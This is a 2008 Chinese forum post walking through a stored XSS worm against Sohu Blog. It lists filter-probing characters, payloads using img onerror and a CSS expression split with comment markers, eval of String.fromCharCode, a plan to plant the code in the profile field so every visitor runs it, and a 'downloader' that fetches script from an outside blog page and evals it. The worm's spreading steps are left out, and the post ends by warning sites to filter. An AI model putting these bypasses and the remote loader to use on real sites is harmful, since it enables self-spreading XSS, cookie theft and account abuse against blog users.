巫巫 發表於 2008-10-8 19:38:24

完整的XSS wrom入侵实现流程

我先拿SOHU BLOG做示范.
<br />
<br />1.测试过滤字符,下面都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,\/前是真正的空格),在个人档案处看过滤了哪些.
<br />
<br />’’;:!--&quot;&lt;javascript JAvaSCriPT&gt;=&#{()} \/
<br />
<br />结果
<br />
<br />’’;:!--&quot;=&#{()} // (&后是amp,论坛过滤了)
<br />
<br />过滤了&quot;javascript&quot;,&quot;&&quot;和&quot;\&quot;这两个转义字符串,因此HTML转码和CSS样式转码已无效,只好从属性和事件入手.
<br />
<br />2.测试一个XSS常用属性和两个事件,貌似没有过滤字符.
<br />expression
<br />onerror
<br />onload
<br />
<br />3.下面开始尝试构造语句.如下:
<br />
<br />&lt;img src=&quot;#&quot; style=&quot;Xss:expression(alert(’xss’));&quot;&gt;
<br />
<br />&lt;img src=&quot;#&quot; onerror=alert(’xss’)&gt;
<br />
<br />&lt;img src=&quot;/Article/UploadFiles/200702/20070202101404522.jpg&quot; onload=alert(’xss’)&gt;
<br />
<br />构造完整标记,页面输出后又全部过滤.
<br />
<br />4.&quot;/&quot;字符没有过滤因此可以构造/*xxxx*/注释符,expression属性可以配合注释符构造出语句:
<br />
<br />&lt;div style=&quot;xss:ex/**/pre/**/ssion(alert(’xss’))&quot;&gt;
<br />
<br />5.由于expression属性比较特殊想当于一个死循环的EVAL函数,同时style标记里不能出现&quot;;&quot;字符,也就是不能构造多条连接在一起的javascript,因此构造出如下语句:
<br />
<br />&lt;DIV STYLE=&quot;xss:ex/**/pre/**/ssion(eval(xss));&quot; xss=&quot;var Then=new Date();Then.setTime(Then.getTime() 10*1000);if(document.cookie.indexOf(’Cookie1=’) == -1){document.cookie=’Cookie1=RAY;expires=’ Then.toGMTString();alert(’xss’);}&quot;&gt;
<br />
<br />//设置一个COOKIE在10秒后失效,并在这条COOKIE语句中执行其他语句或函数.
<br />
<br />6.遗憾的是SOHU BLOG对于标记内不合适的内容都会过滤,因此我们无法eval标记内的某个变量,于是采用fromCharCode方法,将Unicode字符值专成字符串再用eval函数执行:
<br />
<br />&lt;div style=&quot;xss:ex/**/pre/**/ssion(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)))&quot;&gt;
<br />
<br />7.感染流程考虑:
<br />
<br />㈠.BLOG页面的个人档案处是页面通用的,
<br />
<br />㈡.XSS内容写到个人档案处,所有浏览者都会触发XSS
<br />
<br />㈢.实现一段提交XSS内容到个人档案的代码.
<br />
<br />8.个人档案处只能输入2048个字符,又采用了fromCharCode方法,因此出现XSS代码长度的限制,因此只能调用远程代码,于是写出了个XSS downloader.
<br />
<br />主要代码:
<br />
<br />function d(){
<br />a=new ActiveXObject(’Microsoft.XMLHTTP’); /*调用XMLHTTP控件
<br />a.Open(’get’,’http://s0n9.blog.sohu.com/31406970.html’,false);/*发出一个GET提交请求
<br />a.send();
<br />b=a.responseText; /*将传回值赋给变量B
<br />eval(unescape(b.substring(b.indexOf(’--|’) 3,b.indexOf(’|--’))));
<br />/*用indexOf计算 --|********|-- 的位置,用substring方法取出字符串,最后用unescape方法解码.
<br />}d()
<br />
<br />http://s0n9.blog.sohu.com/31406970.html 页面代码:
<br />
<br />alert('xss');
<br />/*利用escape将标点符号转码,由于responseText特性,某些字符会转换,如&quot;&&quot;字符会变成&quot;&&quot;(&后是amp,论坛过滤了)
<br />
<br />PS:其他传染和详细的伪造提交的过程略去,各门户网站小心,过滤好XSS关键字,以防止XSS WROM爆发
<br />
<br />
<br />
<br />
<br />
<br />

<br />
頁: [1]
查看完整版本: 完整的XSS wrom入侵实现流程